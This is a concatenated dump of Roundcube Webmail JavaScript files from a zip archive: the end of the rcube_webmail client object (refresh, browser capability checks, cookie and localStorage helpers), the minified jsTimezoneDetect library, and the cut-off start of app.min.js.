  // starts interval for refresh signal
  this.start_refresh = function()
  {
    if (!this.env.refresh_interval || this.env.framed || this.env.extwin || this.task == 'login' || this.env.action == 'print')
      return;

    if (this._refresh)
      clearInterval(this._refresh);

    this._refresh = setInterval(function(){ ref.refresh(); }, this.env.refresh_interval * 1000);
  };

  // sends keep-alive signal
  this.keep_alive = function()
  {
    if (!this.busy)
      this.http_request('keep-alive');
  };

  // sends refresh signal
  this.refresh = function()
  {
    if (this.busy) {
      // try again after 10 seconds
      setTimeout(function() { ref.refresh(); ref.start_refresh(); }, 10000);
      return;
    }

    var params = {}, lock = this.set_busy(true, 'refreshing');

    if (this.task == 'mail' && this.gui_objects.mailboxlist)
      params = this.check_recent_params();

    params._last = Math.floor(this.env.lastrefresh.getTime() / 1000);
    this.env.lastrefresh = new Date();

    // plugins should bind to 'requestrefresh' event to add own params
    this.http_post('refresh', params, lock);
  };

  // returns check-recent request parameters
  this.check_recent_params = function()
  {
    var params = {_mbox: this.env.mailbox};

    if (this.gui_objects.mailboxlist)
      params._folderlist = 1;
    if (this.gui_objects.quotadisplay)
      params._quota = 1;
    if (this.env.search_request)
      params._search = this.env.search_request;

    if (this.gui_objects.messagelist) {
      params._list = 1;

      // message uids for flag updates check
      params._uids = $.map(this.message_list.rows, function(row, uid) { return uid; }).join(',');
    }

    return params;
  };


  /********************************************************/
  /*********            helper methods            *********/
  /********************************************************/

  /**
   * Quote html entities
   */
  this.quote_html = function(str)
  {
    return String(str).replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
  };

  // get window.opener.rcmail if available
  this.opener = function(deep, filter)
  {
    var i, win = window.opener;

    // catch Error: Permission denied to access property rcmail
    try {
      if (win && !win.closed && win !== window) {
        // try parent of the opener window, e.g. preview frame
        if (deep && (!win.rcmail || win.rcmail.env.framed) && win.parent && win.parent.rcmail)
          win = win.parent;

        if (win.rcmail && filter)
          for (i in filter)
            if (win.rcmail.env[i] != filter[i])
              return;

        return win.rcmail;
      }
    }
    catch (e) {}
  };

  // check if we're in show mode or if we have a unique selection
  // and return the message uid
  this.get_single_uid = function()
  {
    var uid = this.env.uid || (this.message_list ? this.message_list.get_single_selection() : null);
    var result = ref.triggerEvent('get_single_uid', { uid: uid });
    return result || uid;
  };

  // same as above but for contacts
  this.get_single_cid = function()
  {
    var cid = this.env.cid || (this.contact_list ? this.contact_list.get_single_selection() : null);
    var result = ref.triggerEvent('get_single_cid', { cid: cid });
    return result || cid;
  };

  // get the IMP mailbox of the message with the given UID
  this.get_message_mailbox = function(uid)
  {
    var msg;

    if (this.env.messages && uid && (msg = this.env.messages[uid]) && msg.mbox)
      return msg.mbox;

    if (/^[0-9]+-(.*)$/.test(uid))
      return RegExp.$1;

    return this.env.mailbox;
  };

  // build request parameters from single message id (maybe with mailbox name)
  this.params_from_uid = function(uid, params)
  {
    if (!params)
      params = {};

    params._uid = String(uid).split('-')[0];
    params._mbox = this.get_message_mailbox(uid);

    return params;
  };

  // gets cursor position
  this.get_caret_pos = function(obj)
  {
    if (obj.selectionEnd !== undefined)
      return obj.selectionEnd;

    return obj.value.length;
  };

  // moves cursor to specified position
  this.set_caret_pos = function(obj, pos)
  {
    try {
      if (obj.setSelectionRange)
        obj.setSelectionRange(pos, pos);
    }
    catch(e) {} // catch Firefox exception if obj is hidden
  };

  // get selected text from an input field
  this.get_input_selection = function(obj)
  {
    var start = 0, end = 0, normalizedValue = '';

    if (typeof obj.selectionStart == "number" && typeof obj.selectionEnd == "number") {
      normalizedValue = obj.value;
      start = obj.selectionStart;
      end = obj.selectionEnd;
    }

    return {start: start, end: end, text: normalizedValue.substr(start, end-start)};
  };

  // disable/enable all fields of a form
  this.lock_form = function(form, lock)
  {
    if (!form || !form.elements)
      return;

    if (lock)
      this.disabled_form_elements = [];

    $.each(form.elements, function() {
      if (this.type == 'hidden')
        return;
      // remember which elem was disabled before lock
      if (lock && this.disabled)
        ref.disabled_form_elements.push(this);
      else if (lock || $.inArray(this, ref.disabled_form_elements) < 0)
        this.disabled = lock;
    });
  };

  this.mailto_handler_uri = function()
  {
    return location.href.split('?')[0] + '?_task=mail&_action=compose&_to=%s';
  };

  this.register_protocol_handler = function(name)
  {
    try {
      window.navigator.registerProtocolHandler('mailto', this.mailto_handler_uri(), name);
    }
    catch(e) {
      this.display_message(String(e), 'error');
    }
  };

  this.check_protocol_handler = function(name, elem)
  {
    var nav = window.navigator;

    if (!nav || (typeof nav.registerProtocolHandler != 'function')) {
      $(elem).addClass('disabled').click(function() {
        ref.display_message('nosupporterror', 'error');
        return false;
      });
    }
    else if (typeof nav.isProtocolHandlerRegistered == 'function') {
      var status = nav.isProtocolHandlerRegistered('mailto', this.mailto_handler_uri());
      if (status)
        $(elem).parent().find('.mailtoprotohandler-status').html(status);
    }
    else {
      $(elem).click(function() { ref.register_protocol_handler(name); return false; });
    }
  };

  // Checks browser capabilities e.g. PDF support, TIF support
  this.browser_capabilities_check = function()
  {
    if (!this.env.browser_capabilities)
      this.env.browser_capabilities = {};

    $.each(['pdf', 'flash', 'tiff', 'webp', 'pgpmime'], function() {
      if (ref.env.browser_capabilities[this] === undefined)
        ref.env.browser_capabilities[this] = ref[this + '_support_check']();
    });
  };

  // Returns browser capabilities string
  this.browser_capabilities = function()
  {
    if (!this.env.browser_capabilities)
      return '';

    var n, ret = [];

    for (n in this.env.browser_capabilities)
      ret.push(n + '=' + this.env.browser_capabilities[n]);

    return ret.join();
  };

  this.tiff_support_check = function()
  {
    this.image_support_check('tiff');
    return 0;
  };

  this.webp_support_check = function()
  {
    this.image_support_check('webp');
    return 0;
  };

  this.image_support_check = function(type)
  {
    setTimeout(function() {
      var img = new Image();
      img.onload = function() { ref.env.browser_capabilities[type] = 1; };
      img.onerror = function() { ref.env.browser_capabilities[type] = 0; };
      img.src = ref.assets_path('program/resources/blank.' + type);
    }, 10);
  };

  this.pdf_support_check = function()
  {
    if ('pdfViewerEnabled' in navigator)
      return navigator.pdfViewerEnabled ? 1 : 0;

    var i, plugin = navigator.mimeTypes ? navigator.mimeTypes["application/pdf"] : {},
      regex = /Adobe Reader|PDF|Acrobat/i;

    if (plugin && plugin.enabledPlugin)
        return 1;

    for (i in navigator.plugins) {
      plugin = navigator.plugins[i];
      if (typeof plugin === 'string') {
        if (regex.test(plugin))
          return 1;
      }
      else if (plugin.name && regex.test(plugin.name))
        return 1;
    }

    setTimeout(function() {
      $('<object>').attr({
          data: ref.assets_path('program/resources/dummy.pdf'),
          type: 'application/pdf',
          style: 'position: "absolute"; top: -1000px; height: 1px; width: 1px'
        })
        .on('load error', function(e) {
          ref.env.browser_capabilities.pdf = e.type == 'load' ? 1 : 0;

          // add a short delay before attempting to remove element (#8128)
          var obj = this;
          setTimeout(function() { $(obj).remove(); }, 10);
        })
        .appendTo(document.body);
      }, 10);

    return 0;
  };

  this.flash_support_check = function()
  {
    var plugin = navigator.mimeTypes ? navigator.mimeTypes["application/x-shockwave-flash"] : {};

    if (plugin && plugin.enabledPlugin)
        return 1;

    if ('ActiveXObject' in window) {
      try {
        if (plugin = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"))
          return 1;
      }
      catch (e) {}
    }

    return 0;
  };

  // check for mailvelope API
  this.pgpmime_support_check = function(action)
  {
    if (window.mailvelope)
      return 1;

    $(window).on('mailvelope', function() {
      ref.env.browser_capabilities['pgpmime'] = 1;
    });

    return 0;
  };

  this.assets_path = function(path)
  {
    if (this.env.assets_path && !path.startsWith(this.env.assets_path)) {
      path = this.env.assets_path + path;
    }

    return path;
  };

  // Cookie setter
  this.set_cookie = function(name, value, expires)
  {
    if (expires === false) {
      var expires = new Date();
      expires.setYear(expires.getFullYear() + 1);
    }

    setCookie(name, value, expires, this.env.cookie_path, this.env.cookie_domain, this.env.cookie_secure);
  };

  this.get_local_storage_prefix = function()
  {
    if (!this.local_storage_prefix)
      this.local_storage_prefix = 'roundcube.' + (this.env.user_id || 'anonymous') + '.';

    return this.local_storage_prefix;
  };

  // wrapper for localStorage.getItem(key)
  this.local_storage_get_item = function(key, deflt, encrypted)
  {
    var item, result;

    // TODO: add encryption
    try {
      item = localStorage.getItem(this.get_local_storage_prefix() + key);
      result = JSON.parse(item);
    }
    catch (e) { }

    return result || deflt || null;
  };

  // wrapper for localStorage.setItem(key, data)
  this.local_storage_set_item = function(key, data, encrypted)
  {
    // try/catch to handle no localStorage support, but also error
    // in Safari-in-private-browsing-mode where localStorage exists
    // but can't be used (#1489996)
    try {
      // TODO: add encryption
      localStorage.setItem(this.get_local_storage_prefix() + key, JSON.stringify(data));
      return true;
    }
    catch (e) {
      return false;
    }
  };

  // wrapper for localStorage.removeItem(key)
  this.local_storage_remove_item = function(key)
  {
    try {
      localStorage.removeItem(this.get_local_storage_prefix() + key);
      return true;
    }
    catch (e) {
      return false;
    }
  };

  this.print_dialog = function()
  {
    // setTimeout for Safari
    setTimeout('window.print()', 10);
  };
}  // end object rcube_webmail


// some static methods
rcube_webmail.long_subject_title = function(elem, indent, text_elem)
{
  if (!elem.title) {
    var $elem = $(text_elem || elem);
    if ($elem.width() + (indent || 0) * 15 > $elem.parent().width())
      elem.title = rcube_webmail.subject_text($elem[0]);
  }
};

rcube_webmail.long_subject_title_ex = function(elem)
{
  if (!elem.title) {
    var $elem = $(elem),
      txt = $elem.text().trim(),
      indent = $('span.branch', $elem).width() || 0,
      tmp = $('<span>').text(txt)
        .css({position: 'absolute', 'float': 'left', visibility: 'hidden',
          'font-size': $elem.css('font-size'), 'font-weight': $elem.css('font-weight')})
        .appendTo(document.body),
      w = tmp.width();

    tmp.remove();
    if (w + indent * 15 > $elem.width())
      elem.title = rcube_webmail.subject_text(elem);
  }
};

rcube_webmail.subject_text = function(elem)
{
  var t = $(elem).clone();
  t.find('.skip-on-drag,.skip-content,.voice').remove();
  return t.text().trim();
};

// set event handlers on all iframe elements (and their contents)
rcube_webmail.set_iframe_events = function(events)
{
  $('iframe').each(function() {
    var frame = $(this);
    $.each(events, function(event_name, event_handler) {
      frame.on('load', function(e) {
        try { $(this).contents().on(event_name, event_handler); }
        catch (e) {/* catch possible permission error in IE */ }
      });

      try { frame.contents().on(event_name, event_handler); }
      catch (e) {/* catch possible permission error in IE */ }
    });
  });
};

rcube_webmail.prototype.get_cookie = getCookie;

// copy event engine prototype
rcube_webmail.prototype.addEventListener = rcube_event_engine.prototype.addEventListener;
rcube_webmail.prototype.removeEventListener = rcube_event_engine.prototype.removeEventListener;
rcube_webmail.prototype.triggerEvent = rcube_event_engine.prototype.triggerEvent;
PK
h�\,�FK66program/js/jstz.min.jsnu�[���/**
 * jsTimezoneDetect - v1.0.7
 *
 * @source https://cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.7/jstz.min.js
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) Jon Nylander
 *
 * Licensed under the MIT licenses
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
/* jstz.min.js Version: 1.0.6 Build date: 2019-09-09 */
!function(e){var a=function(){"use strict";var e="s",s={DAY:864e5,HOUR:36e5,MINUTE:6e4,SECOND:1e3,BASELINE_YEAR:2014,MAX_SCORE:864e6,AMBIGUITIES:{"America/Denver":["America/Mazatlan"],"America/Chicago":["America/Mexico_City"],"America/Asuncion":["America/Campo_Grande","America/Santiago"],"America/Montevideo":["America/Sao_Paulo","America/Santiago"],"Asia/Beirut":["Asia/Amman","Asia/Jerusalem","Europe/Helsinki","Asia/Damascus","Africa/Cairo","Asia/Gaza","Europe/Minsk","Africa/Windhoek"],"Pacific/Auckland":["Pacific/Fiji"],"America/Los_Angeles":["America/Santa_Isabel"],"America/New_York":["America/Havana"],"America/Halifax":["America/Goose_Bay"],"America/Godthab":["America/Miquelon"],"Asia/Dubai":["Asia/Yerevan"],"Asia/Jakarta":["Asia/Krasnoyarsk"],"Asia/Shanghai":["Asia/Irkutsk","Australia/Perth"],"Australia/Sydney":["Australia/Lord_Howe"],"Asia/Tokyo":["Asia/Yakutsk"],"Asia/Dhaka":["Asia/Omsk"],"Asia/Baku":["Asia/Yerevan"],"Australia/Brisbane":["Asia/Vladivostok"],"Pacific/Noumea":["Asia/Vladivostok"],"Pacific/Majuro":["Asia/Kamchatka","Pacific/Fiji"],"Pacific/Tongatapu":["Pacific/Apia"],"Asia/Baghdad":["Europe/Minsk","Europe/Moscow"],"Asia/Karachi":["Asia/Yekaterinburg"],"Africa/Johannesburg":["Asia/Gaza","Africa/Cairo"]}},i=function(e){var a=-e.getTimezoneOffset();return null!==a?a:0},r=function(){for(var e=[],a=0;a<=11;a++)for(var r=1;r<=28;r++){var n=i(new Date(s.BASELINE_YEAR,a,r));e?e&&e[e.length-1]!==n&&e.push(n):e.push()}return e},n=function(){var a=0,s=r();return s.length>1&&(a=s[0]-s[1]),s.length>3?s[0]+",1,weird":a<0?s[0]+",1":a>0?s[1]+",1,"+e:s[0]+",0"},o=function(){var e,a;if(Intl&&"undefined"!=typeof Intl&&"undefined"!=typeof Intl.DateTimeFormat&&(e=Intl.DateTimeFormat(),"undefined"!=typeof e&&"undefined"!=typeof e.resolvedOptions))return a=e.resolvedOptions().timeZone,a&&(a.indexOf("/")>-1||"UTC"===a)?a:void 0},t=function(e){for(var a=new Date(e,0,1,0,0,1,0).getTime(),s=new Date(e,12,31,23,59,59).getTime(),i=a,r=new Date(i).getTimezoneOffset(),n=null,o=null;i<s-864e5;){var t=new Date(i),A=t.getTimezoneOffset();A!==r&&(A<r&&(n=t),A>r&&(o=t),r=A),i+=864e5}return!(!n||!o)&&{s:u(n).getTime(),e:u(o).getTime()}},u=function f(e,a,i){"undefined"==typeof a&&(a=s.DAY,i=s.HOUR);for(var r=new Date(e.getTime()-a).getTime(),n=e.getTime()+a,o=new Date(r).getTimezoneOffset(),t=r,u=null;t<n-i;){var A=new Date(t),c=A.getTimezoneOffset();if(c!==o){u=A;break}t+=i}return a===s.DAY?f(u,s.HOUR,s.MINUTE):a===s.HOUR?f(u,s.MINUTE,s.SECOND):u},A=function(e,a,s,i){if("N/A"!==s)return s;if("Asia/Beirut"===a){if("Africa/Cairo"===i.name&&13983768e5===e[6].s&&14116788e5===e[6].e)return 0;if("Asia/Jerusalem"===i.name&&13959648e5===e[6].s&&14118588e5===e[6].e)return 0}else if("America/Santiago"===a){if("America/Asuncion"===i.name&&14124816e5===e[6].s&&1397358e6===e[6].e)return 0;if("America/Campo_Grande"===i.name&&14136912e5===e[6].s&&13925196e5===e[6].e)return 0}else if("America/Montevideo"===a){if("America/Sao_Paulo"===i.name&&14136876e5===e[6].s&&1392516e6===e[6].e)return 0}else if("Pacific/Auckland"===a&&"Pacific/Fiji"===i.name&&14142456e5===e[6].s&&13961016e5===e[6].e)return 0;return s},c=function(e,i){for(var r=function(a){for(var r=0,n=0;n<e.length;n++)if(a.rules[n]&&e[n]){if(!(e[n].s>=a.rules[n].s&&e[n].e<=a.rules[n].e)){r="N/A";break}if(r=0,r+=Math.abs(e[n].s-a.rules[n].s),r+=Math.abs(a.rules[n].e-e[n].e),r>s.MAX_SCORE){r="N/A";break}}return r=A(e,i,r,a)},n={},o=a.olson.dst_rules.zones,t=o.length,u=s.AMBIGUITIES[i],c=0;c<t;c++){var m=o[c],l=r(o[c]);"N/A"!==l&&(n[m.name]=l)}for(var f in n)if(n.hasOwnProperty(f))for(var d=0;d<u.length;d++)if(u[d]===f)return f;return i},m=function(e){var s=function(){for(var e=[],s=0;s<a.olson.dst_rules.years.length;s++){var i=t(a.olson.dst_rules.years[s]);e.push(i)}return e},i=function(e){for(var a=0;a<e.length;a++)if(e[a]!==!1)return!0;return!1},r=s(),n=i(r);return n?c(r,e):e},l=function(e){var i=!1,t=n();return(e||"undefined"==typeof e)&&(i=o()),i||(i=a.olson.timezones[t],"undefined"!=typeof s.AMBIGUITIES[i]&&(i=m(i))),{name:function(){return i},using_intl:e||"undefined"==typeof e,needle:t,offsets:r()}};return{determine:l}}();a.olson=a.olson||{},a.olson.timezones={"-720,0":"Etc/GMT+12","-660,0":"Pacific/Pago_Pago","-660,1,s":"Pacific/Apia","-600,1":"America/Adak","-600,0":"Pacific/Honolulu","-570,0":"Pacific/Marquesas","-540,0":"Pacific/Gambier","-540,1":"America/Anchorage","-480,1":"America/Los_Angeles","-480,0":"Pacific/Pitcairn","-420,0":"America/Phoenix","-420,1":"America/Denver","-360,0":"America/Guatemala","-360,1":"America/Chicago","-360,1,s":"Pacific/Easter","-300,0":"America/Bogota","-300,1":"America/New_York","-270,0":"America/Caracas","-240,1":"America/Halifax","-240,0":"America/Santo_Domingo","-240,1,s":"America/Asuncion","-210,1":"America/St_Johns","-180,1":"America/Godthab","-180,0":"America/Buenos_Aires","-180,1,s":"America/Montevideo","-120,0":"America/Noronha","-120,1":"America/Noronha","-60,1":"Atlantic/Azores","-60,0":"Atlantic/Cape_Verde","0,0":"UTC","0,1":"Europe/London","0,1,weird":"Africa/Casablanca","60,1":"Europe/Berlin","60,0":"Africa/Lagos","60,1,weird":"Africa/Casablanca","120,1":"Asia/Beirut","120,1,weird":"Africa/Cairo","120,0":"Africa/Johannesburg","180,0":"Asia/Baghdad","180,1":"Europe/Moscow","210,1":"Asia/Tehran","240,0":"Asia/Dubai","240,1":"Asia/Baku","270,0":"Asia/Kabul","300,1":"Asia/Yekaterinburg","300,0":"Asia/Karachi","330,0":"Asia/Calcutta","345,0":"Asia/Katmandu","360,0":"Asia/Dhaka","360,1":"Asia/Omsk","390,0":"Asia/Rangoon","420,1":"Asia/Krasnoyarsk","420,0":"Asia/Jakarta","480,0":"Asia/Shanghai","480,1":"Asia/Irkutsk","525,0":"Australia/Eucla","525,1,s":"Australia/Eucla","540,1":"Asia/Yakutsk","540,0":"Asia/Tokyo","570,0":"Australia/Darwin","570,1,s":"Australia/Adelaide","600,0":"Australia/Brisbane","600,1":"Asia/Vladivostok","600,1,s":"Australia/Sydney","630,1,s":"Australia/Lord_Howe","660,1":"Asia/Kamchatka","660,0":"Pacific/Noumea","690,0":"Pacific/Norfolk","720,1,s":"Pacific/Auckland","720,0":"Pacific/Majuro","765,1,s":"Pacific/Chatham","780,0":"Pacific/Tongatapu","780,1,s":"Pacific/Apia","840,0":"Pacific/Kiritimati"},a.olson.dst_rules={years:[2008,2009,2010,2011,2012,2013,2014],zones:[{name:"Africa/Cairo",rules:[{e:12199572e5,s:12090744e5},{e:1250802e6,s:1240524e6},{e:12858804e5,s:12840696e5},!1,!1,!1,{e:14116788e5,s:1406844e6}]},{name:"America/Asuncion",rules:[{e:12050316e5,s:12243888e5},{e:12364812e5,s:12558384e5},{e:12709548e5,s:12860784e5},{e:13024044e5,s:1317528e6},{e:1333854e6,s:13495824e5},{e:1364094e6,s:1381032e6},{e:13955436e5,s:14124816e5}]},{name:"America/Campo_Grande",rules:[{e:12032172e5,s:12243888e5},{e:12346668e5,s:12558384e5},{e:12667212e5,s:1287288e6},{e:12981708e5,s:13187376e5},{e:13302252e5,s:1350792e6},{e:136107e7,s:13822416e5},{e:13925196e5,s:14136912e5}]},{name:"America/Goose_Bay",rules:[{e:122559486e4,s:120503526e4},{e:125704446e4,s:123648486e4},{e:128909886e4,s:126853926e4},{e:13205556e5,s:129998886e4},{e:13520052e5,s:13314456e5},{e:13834548e5,s:13628952e5},{e:14149044e5,s:13943448e5}]},{name:"America/Havana",rules:[{e:12249972e5,s:12056436e5},{e:12564468e5,s:12364884e5},{e:12885012e5,s:12685428e5},{e:13211604e5,s:13005972e5},{e:13520052e5,s:13332564e5},{e:13834548e5,s:13628916e5},{e:14149044e5,s:13943412e5}]},{name:"America/Mazatlan",rules:[{e:1225008e6,s:12074724e5},{e:12564576e5,s:1238922e6},{e:1288512e6,s:12703716e5},{e:13199616e5,s:13018212e5},{e:13514112e5,s:13332708e5},{e:13828608e5,s:13653252e5},{e:14143104e5,s:13967748e5}]},{name:"America/Mexico_City",rules:[{e:12250044e5,s:12074688e5},{e:1256454e6,s:12389184e5},{e:12885084e5,s:1270368e6},{e:1319958e6,s:13018176e5},{e:13514076e5,s:13332672e5},{e:13828572e5,s:13653216e5},{e:14143068e5,s:13967712e5}]},{name:"America/Miquelon",rules:[{e:12255984e5,s:12050388e5},{e:1257048e6,s:12364884e5},{e:12891024e5,s:12685428e5},{e:1320552e6,s:12999924e5},{e:13520016e5,s:1331442e6},{e:13834512e5,s:13628916e5},{e:14149008e5,s:13943412e5}]},{name:"America/Santa_Isabel",rules:[{e:12250116e5,s:1207476e6},{e:12564612e5,s:12389256e5},{e:12891204e5,s:12685608e5},{e:132057e7,s:13000104e5},{e:13520196e5,s:133146e7},{e:13834692e5,s:13629096e5},{e:14149188e5,s:13943592e5}]},{name:"America/Santiago",rules:[{e:1206846e6,s:1223784e6},{e:1237086e6,s:12552336e5},{e:127035e7,s:12866832e5},{e:13048236e5,s:13138992e5},{e:13356684e5,s:13465584e5},{e:1367118e6,s:13786128e5},{e:13985676e5,s:14100624e5}]},{name:"America/Sao_Paulo",rules:[{e:12032136e5,s:12243852e5},{e:12346632e5,s:12558348e5},{e:12667176e5,s:12872844e5},{e:12981672e5,s:1318734e6},{e:13302216e5,s:13507884e5},{e:13610664e5,s:1382238e6},{e:1392516e6,s:14136876e5}]},{name:"Asia/Amman",rules:[{e:1225404e6,s:12066552e5},{e:12568536e5,s:12381048e5},{e:12883032e5,s:12695544e5},{e:13197528e5,s:13016088e5},!1,!1,{e:14147064e5,s:13959576e5}]},{name:"Asia/Damascus",rules:[{e:12254868e5,s:120726e7},{e:125685e7,s:12381048e5},{e:12882996e5,s:12701592e5},{e:13197492e5,s:13016088e5},{e:13511988e5,s:13330584e5},{e:13826484e5,s:1364508e6},{e:14147028e5,s:13959576e5}]},{name:"Asia/Dubai",rules:[!1,!1,!1,!1,!1,!1,!1]},{name:"Asia/Gaza",rules:[{e:12199572e5,s:12066552e5},{e:12520152e5,s:12381048e5},{e:1281474e6,s:126964086e4},{e:1312146e6,s:130160886e4},{e:13481784e5,s:13330584e5},{e:13802292e5,s:1364508e6},{e:1414098e6,s:13959576e5}]},{name:"Asia/Irkutsk",rules:[{e:12249576e5,s:12068136e5},{e:12564072e5,s:12382632e5},{e:12884616e5,s:12697128e5},!1,!1,!1,!1]},{name:"Asia/Jerusalem",rules:[{e:12231612e5,s:12066624e5},{e:1254006e6,s:1238112e6},{e:1284246e6,s:12695616e5},{e:131751e7,s:1301616e6},{e:13483548e5,s:13330656e5},{e:13828284e5,s:13645152e5},{e:1414278e6,s:13959648e5}]},{name:"Asia/Kamchatka",rules:[{e:12249432e5,s:12067992e5},{e:12563928e5,s:12382488e5},{e:12884508e5,s:12696984e5},!1,!1,!1,!1]},{name:"Asia/Krasnoyarsk",rules:[{e:12249612e5,s:12068172e5},{e:12564108e5,s:12382668e5},{e:12884652e5,s:12697164e5},!1,!1,!1,!1]},{name:"Asia/Omsk",rules:[{e:12249648e5,s:12068208e5},{e:12564144e5,s:12382704e5},{e:12884688e5,s:126972e7},!1,!1,!1,!1]},{name:"Asia/Vladivostok",rules:[{e:12249504e5,s:12068064e5},{e:12564e8,s:1238256e6},{e:12884544e5,s:12697056e5},!1,!1,!1,!1]},{name:"Asia/Yakutsk",rules:[{e:1224954e6,s:120681e7},{e:12564036e5,s:12382596e5},{e:1288458e6,s:12697092e5},!1,!1,!1,!1]},{name:"Asia/Yekaterinburg",rules:[{e:12249684e5,s:12068244e5},{e:1256418e6,s:1238274e6},{e:12884724e5,s:12697236e5},!1,!1,!1,!1]},{name:"Asia/Yerevan",rules:[{e:1224972e6,s:1206828e6},{e:12564216e5,s:12382776e5},{e:1288476e6,s:12697272e5},{e:13199256e5,s:13011768e5},!1,!1,!1]},{name:"Australia/Lord_Howe",rules:[{e:12074076e5,s:12231342e5},{e:12388572e5,s:12545838e5},{e:12703068e5,s:12860334e5},{e:13017564e5,s:1317483e6},{e:1333206e6,s:13495374e5},{e:13652604e5,s:1380987e6},{e:139671e7,s:14124366e5}]},{name:"Australia/Perth",rules:[{e:12068136e5,s:12249576e5},!1,!1,!1,!1,!1,!1]},{name:"Europe/Helsinki",rules:[{e:12249828e5,s:12068388e5},{e:12564324e5,s:12382884e5},{e:12884868e5,s:1269738e6},{e:13199364e5,s:13011876e5},{e:1351386e6,s:13326372e5},{e:13828356e5,s:13646916e5},{e:14142852e5,s:13961412e5}]},{name:"Europe/Minsk",rules:[{e:12249792e5,s:12068352e5},{e:12564288e5,s:12382848e5},{e:12884832e5,s:12697344e5},!1,!1,!1,!1]},{name:"Europe/Moscow",rules:[{e:12249756e5,s:12068316e5},{e:12564252e5,s:12382812e5},{e:12884796e5,s:12697308e5},!1,!1,!1,!1]},{name:"Pacific/Apia",rules:[!1,!1,!1,{e:13017528e5,s:13168728e5},{e:13332024e5,s:13489272e5},{e:13652568e5,s:13803768e5},{e:13967064e5,s:14118264e5}]},{name:"Pacific/Fiji",rules:[!1,!1,{e:12696984e5,s:12878424e5},{e:13271544e5,s:1319292e6},{e:1358604e6,s:13507416e5},{e:139005e7,s:1382796e6},{e:14215032e5,s:14148504e5}]},{name:"Europe/London",rules:[{e:12249828e5,s:12068388e5},{e:12564324e5,s:12382884e5},{e:12884868e5,s:1269738e6},{e:13199364e5,s:13011876e5},{e:1351386e6,s:13326372e5},{e:13828356e5,s:13646916e5},{e:14142852e5,s:13961412e5}]},{name:"Africa/Windhoek",rules:[{e:12207492e5,s:120744e7},{e:12521988e5,s:12388896e5},{e:12836484e5,s:12703392e5},{e:1315098e6,s:13017888e5},{e:13465476e5,s:13332384e5},{e:13779972e5,s:13652928e5},{e:14100516e5,s:13967424e5}]}]},"undefined"!=typeof module&&"undefined"!=typeof module.exports?module.exports=a:"undefined"!=typeof define&&null!==define&&null!=define.amd?define([],function(){return a}):"undefined"==typeof e?window.jstz=a:e.jstz=a}();PK
h�\Ks�‰���program/js/app.min.jsnu�[���/**
 * Roundcube Webmail Client Script
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Aleksander 'A.L.E.C' Machniak <alec@alec.pl>
 * @author Charles McNulty <charles@charlesmcnulty.com>
 *
 * @requires jquery.js, common.js, list.js
 */
function rcube_webmail(){this.labels={},this.buttons={},this.buttons_sel={},this.gui_objects={},this.gui_containers={},this.commands={},this.command_handlers={},this.onloads=[],this.messages={},this.group2expand={},this.http_request_jobs={},this.menu_stack=[],this.menu_buttons={},this.entity_selectors=[],this.image_style={},this.uploads={},this.dblclick_time=500,this.message_time=5e3,this.preview_delay_select=400,this.preview_delay_click=60,this.identifier_expr=/[^0-9a-z_-]/gi,this.uploadTimeout=0,this.env={attachments:{},request_timeout:180,draft_autosave:0,comm_path:"./",recipients_separator:",",recipients_delimiter:", ",popup_width:1150,popup_width_small:900,thread_padding:"15px"},this.ref="rcmail";var ref=this;$.ajaxSetup({cache:!1,timeout:1e3*this.env.request_timeout,error:function(e,t,s){ref.http_error(e,t,s)},beforeSend:function(e){e.setRequestHeader("X-Roundcube-Request",ref.env.request_token)}}),$(window).on("beforeunload",function(){ref.unload=!0}),this.set_env=function(e,t){if(null==e||"object"!=typeof e||t)this.env[e]=t;else for(var s in e)this.env[s]=e[s]},this.add_label=function(e,t){"string"==typeof e?this.labels[e]=t:"object"==typeof e&&$.extend(this.labels,e)},this.register_button=function(e,t,s,i,n,a){t={id:t,type:s};i&&(t.act=i),n&&(t.sel=n),a&&(t.over=a),this.buttons[e]||(this.buttons[e]=[]),this.buttons[e].push(t),this.loaded&&(this.init_button(e,t),this.set_button(e,this.commands[e]?"act":"pas"))},this.register_menu_button=function(e,t){var s;this.menu_buttons[t]?this.menu_buttons[t][0].push(e):(s=[],$("#"+t).find("a").each(function(){var e=$(this),t=e.attr("onclick"),t=t&&String(t).match(/rcmail\.command\(\'([^']+)/)?RegExp.$1:function(){return 